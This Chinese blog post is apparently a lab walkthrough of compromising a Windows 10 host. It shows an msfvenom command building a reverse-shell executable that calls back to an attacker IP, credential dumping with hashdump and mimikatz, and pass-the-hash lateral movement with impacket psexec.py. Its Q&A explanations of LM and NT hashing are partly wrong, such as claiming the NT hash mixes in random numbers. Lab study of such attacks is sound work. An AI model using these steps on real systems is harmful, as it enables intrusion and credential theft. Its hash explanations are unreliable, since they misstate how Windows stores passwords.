抓取内网windows密码和利用hash横向及相关问题

news/2024/9/22 23:36:46/

目录

实验准备

用msf拿到shell

抓取hash和明文密码

相关问题

问题1.通过hashdump抓取所有用户的密文为什么分成两个模块,这两个模块分别代表什么 ?

问题2.为什么第一个模块 永远是一样的aad3?

问题3.这两个模块的加密算法有什么不同,如何加密的?

问题4.windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文?


实验准备

        一台kali

        一台windows10,防火墙和实时保护关掉。

用msf拿到shell

1.先生成一个反弹木马:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.247.135 LPORT=12345 -f exe -o shell.exe

2.然后挂到网页上去win10上用浏览器下载下来:

3.msf开启监听,然后点击木马上线:

抓取hash和明文密码

1.提权后直接hashdump获取hash值:

相关问题

问题1.通过hashdump抓取所有用户的密文为什么分成两个模块,这两个模块分别代表什么 ?

        因为这两部分是不同的内容,第一部分是LM哈希,第二部分是NT哈希。

问题2.为什么第一个模块 永远是一样的aad3?

        因为LM哈希不安全,都是aad3这样的内容说明LM Hash为空值或被禁用了。

问题3.这两个模块的加密算法有什么不同,如何加密的?

        第一部分是基于DES算法加密的,第二部分是基于MD4算法加密的;

        第一部分加密过程是用户密码首先被转换为Unicode格式,然后使用Unicode Little-Endian编码进行哈希,第二部分是将用户密码和一些随机数来结合计算出的哈希值,更复杂更安全

2.然后现在尝试抓取明文密码:

        用工具mimikatz,先在会话中导入kiwi:

        然后尝试抓取明文密码:

发现密码这一列都是null,先看下面这个问题:

问题4.windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文?

       登录的时候会启动一个winlogon.exe进程,把明文账号密码发给lsass.exe这个进程,然后这个进程会干两件事,1是把明文账号密码在内存中存储一份,2是把账号密码加密后存在SAM这个文件里:

但是这个文件打不开看不了。可以利用其他工具来看。

现在回到第二部,因为mimikatz这个工具是利用了lsass.exe会把一份明文账号密码存到内存中,所以才能抓到,但是由于系统补丁才抓不到了。不过继续横向不需要明文密码,因为系统验证都是通过比对hash值的,而哈希值又是不可逆的,所以知道明文密码也没什么作用,反而比hash麻烦了一步。

3.利用hash登录

        这里直接利用kali自带的脚本,/usr/share/doc/python3-impacket/examples下的psexec.py:


http://www.ppmy.cn/news/1435013.html

相关文章

xilinx Mailbox 中的ipi message地址计算方式

适用于openAmp mailbox ipi id对应的ipi message地址计算方式 官方openamp硬件配置解析 OpenAMP Base Hardware Configurations - Xilinx Wiki - Confluence openamp官方设备树 meta-openamp/meta-xilinx-tools/recipes-bsp/device-tree/files/zynqmp-openamp.dtsi at rel-v2…

linux内核初始化成功后是如何过渡到android初始化的

Android用的linux内核,以完成OS该有的功能,例如,文件系统,网络,内存管理,进程调度,驱动等 ,向下管理硬件资源向上提供系统调用。另一些Android特有驱动也放在内核之中。 当linux内核…

五、e2studio VS STM32CubeIDE之汉化

目录 一、概述/目的 二、stm32cubeide汉化 2.1 在线下载安装汉化插件 2.2 直接安装汉化包(推荐) 三、e2studio STM32CubeIDE中英文切换 五、e2studio VS STM32CubeIDE之汉化 一、概述/目的 介绍stm32cubeide汉化方案和汉化包 e2studio自带汉化包,在安装过程中…

OpenHarmony鸿蒙南向开发案例:【智能猫眼(基于3518开发板)】

样例简介 本Demo是基于Hi3518开发板,使用开源OpenHarmony开发的RTSP协议流媒体应用。达到将Hi3518开发板中摄像头获取的数据通过RTSP协议传输到手机并显示 。 rtsp实现可参考文档:openharmony_1.0.1实现RTSPServer 运行效果 样例原理 如上图所示&…

XiaodiSec day033 Learn Note 小迪安全学习笔记

XiaodiSec day033 Learn Note 小迪安全学习笔记 记录得比较凌乱,不尽详细 day33 文件上传 中间件上传,学了也不一定遇得到,但是要学 文件上传漏洞有几个情况会导致,有后端验证,第三方富文本编辑器导致 编辑器被目…

【运维】docker-compose部署redis

部署Redis使用docker-compose是一种简便且流行的方式。以下是基本的docker-compose.yml文件示例,用于部署单节点Redis服务 方案一 直接使用docker安装单机版 创建.env环境文件并配置管理密码 echo REDIS_PWDredis123456 > .env创建docker-compose.yml环境文件…

详细分析mysqlslap的基本知识 | 压力测试(附Demo)

目录 前言1. 基本知识2. 参数解读2.1 auto-generate-sql2.2 only-print2.3 iterations2.4 并发处理参数 前言 对数据库进行压力测试,对此补充这方面的详细知识点 1. 基本知识 mysqlslap 是 MySQL 自带的用于模拟数据库负载的压力测试工具 可以模拟多个客户端并发…

[C++][算法基础]判定质数(试除法)

给定 n 个正整数 ai,判定每个数是否是质数。 输入格式 第一行包含整数 n。 接下来 n 行,每行包含一个正整数 ai。 输出格式 共 n 行,其中第 i 行输出第 i 个正整数 ai 是否为质数,是则输出 Yes,否则输出 No。 数…